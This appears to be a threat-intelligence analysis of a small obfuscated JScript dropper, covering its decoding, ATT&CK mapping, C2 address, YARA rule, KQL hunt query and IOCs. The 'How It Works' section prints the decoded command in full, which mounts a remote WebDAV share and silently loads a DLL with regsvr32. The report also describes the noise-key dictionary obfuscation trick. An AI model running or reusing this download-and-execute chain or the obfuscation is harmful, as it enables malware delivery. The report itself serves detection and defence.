SHA-256:
4cb05ef0d4a1b55fa55b657ba0c244b944f277fd66655e9ec047d28ecb333ff4unclassified-js-webdav-dropper: 4cb05ef0 — 36-entry noise-key dictionary JScript, 45.9.74.36:8888
Executive Summary. Forty-sixth confirmed sibling of the unclassified-js-webdav-dropper family. A 5.6 KB JScript dropper using a 36-entry random-noise dictionary lookup table (zbdwbngdheorpl object) to assemble a cmd /k net use ... && regsvr32 /s execution chain at runtime. C2 45.9.74.36:8888; payload 118481125826629.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate.
What It Is
- Filename:
20207242741666618717.js^[triage.json] - File type: ASCII text, CRLF line terminators, very long lines (4,305 chars) ^[file.txt]
- Size: 5,635 bytes ^[triage.json]
- Family: unclassified-js-webdav-dropper (46th confirmed sibling) ^[entities/unclassified-js-webdav-dropper.md]
- Static-only: CAPE skipped — not a supported binary class ^[dynamic-analysis.md]
How It Works
The script builds a 36-entry character dictionary as object properties, then assembles the payload inside a catch block via the Function('return this')() global-construction trick ^[strings.txt:1]:
Function('return this')()['WScript']['CreateObject']('WScript.Shell')['Run']('cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\118481125826629.dll', 0, false)
Decoding proceeds as:
- Define
zbdwbngdheorpl = {}and populate 36 noise-key mappings (e.g.zbdwbngdheorpl['vlwoqpxyfcvvmnzq'] = 'i'). try { khyxvqcjinlckzxiqyi(); }— a no-op function call that always throws.- In the
catchblock, concatenate dictionary values into string arguments forFunction(),WScript.CreateObject, andRun(). - The decoded command mounts a WebDAV share at
\\45.9.74.36@8888\davwwwroot\and silently registers118481125826629.dllviaregsvr32 /s.
Build / RE
- Language: JScript (Windows Script Host)
- Obfuscation: 36-entry dictionary lookup table with fully random noise keys (8–20 lowercase chars, no semantic content). Object name
zbdwbngdheorpl. Same assembly engine as the 62-entry noise-key variants (e.g.df42ecf8,77cbe0c4) but reduced to 36 entries. - Anti-analysis: None — no debugger checks, no VM detection, no time-bombs, no connectivity checks.
- Code quality: Low — hand-written, verbose, repetitive; lacks commercial obfuscator signatures.
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file executed by WScript ^[strings.txt:1] |
| Execution | T1059.003 (Windows Command Shell) | cmd.exe /k net use ... ^[strings.txt:1] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\45.9.74.36@8888\davwwwroot\118481125826629.dll ^[strings.txt:1] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 36-entry noise-key dictionary lookup ^[strings.txt:1] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | regsvr32 signed system binary loads remote DLL ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\45.9.74.36@8888\DavWWWRoot\) ^[strings.txt:1] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[strings.txt:1] |
C2 Infrastructure
- C2 IP:
45.9.74.36:8888^[strings.txt:1] - Payload filename:
118481125826629.dll^[strings.txt:1] - WebDAV path:
\\45.9.74.36@8888\davwwwroot\^[strings.txt:1]
Interesting Tidbits
- No PowerShell wrapper: Unlike many dictionary-dialect siblings (e.g.
e6ebae6a,df42ecf8), this sample executes the command directly viaWScript.Shell.Runwithout a PowerShell-EncodedCommandintermediary. - No decoy: No
wordpadlaunch, nocolor f0batch decoy, no nestedtry/catchnoise. - Minimal footprint: 5.6 KB, 36 entries — the smallest dictionary variant observed in this family. Compares to 15.6–20.8 KB siblings with 62 entries.
- C2 overlap:
45.9.74.36:8888is the most frequently reused IP in this family (previously observed inffd5d894,e9e82d14,f170f5a9,fa7e181d,cb5d302f,d0124d62,d90baa30,a435a37b,aa8ff8b9,ade6cf68,b612dd70,be58d381,92ce4217, and nine pure-batch siblings).
Deployable Signatures
YARA Rule
rule js_webdav_dropper_noise_dict_36 {
meta:
description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup"
author = "Titus"
family = "unclassified-js-webdav-dropper"
strings:
$dict = /[a-z]{15,35}\s*=\s*\[\];[a-z]{15,35}\['[a-z]{8,20}'\]\s*=\s*'.';/
$func = "Function('" nocase
$wscript = "WScript" nocase
$run = "Run" nocase
$net_use = "net use" nocase
$dav = "davwwwroot" nocase
$regsvr = "regsvr32" nocase
condition:
all of ($func, $wscript, $run, $net_use, $dav, $regsvr) and
#dict >= 30 and
filesize < 10KB
}
Behavioral Hunt Query (KQL)
DeviceProcessEvents
| where ProcessCommandLine contains "net use" and ProcessCommandLine contains "davwwwroot"
| where InitiatingProcessFileName =~ "wscript.exe"
| where ProcessCommandLine contains "regsvr32"
| summarize count() by DeviceName, AccountName, InitiatingProcessCommandLine, ProcessCommandLine
IOC List
| Indicator | Value | Type |
|---|---|---|
| SHA-256 | 4cb05ef0d4a1b55fa55b657ba0c244b944f277fd66655e9ec047d28ecb333ff4 |
Hash |
| C2 | 45.9.74.36:8888 |
IP:Port |
| Payload | 118481125826629.dll |
Filename |
| WebDAV path | \\45.9.74.36@8888\davwwwroot\ |
UNC |
References
- unclassified-js-webdav-dropper — Family entity page
- js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
- webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
- MalwareBazaar:
20207242741666618717.js
Provenance
- File type:
filev5.44 ^[file.txt] - Strings:
strings(default) ^[strings.txt] - Manual JScript decode via dictionary substitution and
Function()emulation ^[/intel/analyses/4cb05ef0d4a1b55fa55b657ba0c244b944f277fd66655e9ec047d28ecb333ff4.html]